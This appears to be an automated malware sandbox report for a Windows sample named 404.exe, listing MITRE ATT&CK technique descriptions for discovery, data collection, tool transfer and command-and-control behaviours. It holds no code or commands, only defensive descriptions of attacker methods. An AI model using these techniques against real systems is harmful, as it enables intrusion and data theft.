C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\16x16\Line.ico (copy)

Windows Analysis Report
404.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre